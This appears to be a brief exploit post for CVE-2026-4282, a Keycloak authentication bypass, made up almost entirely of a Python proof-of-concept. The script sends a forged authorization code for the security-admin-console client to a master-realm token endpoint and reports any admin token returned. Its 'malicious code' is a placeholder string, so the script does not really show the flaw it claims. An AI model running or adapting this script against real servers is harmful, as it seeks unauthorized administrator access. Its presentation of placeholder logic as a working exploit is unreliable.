CVE-2026-4282 Keycloak 认证绕过导致提权漏洞

import requests # Conceptual PoC for CVE-2026-4282 # Exploits namespace isolation flaw in SingleUseObjectProvider target = "http://vulnerable-keycloak/realms/master/protocol/openid-connect/token" # Attacker crafts a payload that manipulates the global store malicious_code = "forged_auth_code_via_isolation_flaw" payload = { "grant_type": "authorization_code", "client_id": "security-admin-console", "code": malicious_code, "redirect_uri": "http://localhost" } try: r = requests.post(target, data=payload) if r.status_code == 200 and "access_token" in r.json(): print("[+] Exploit Successful! Admin Token obtained:") print(r.json()) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")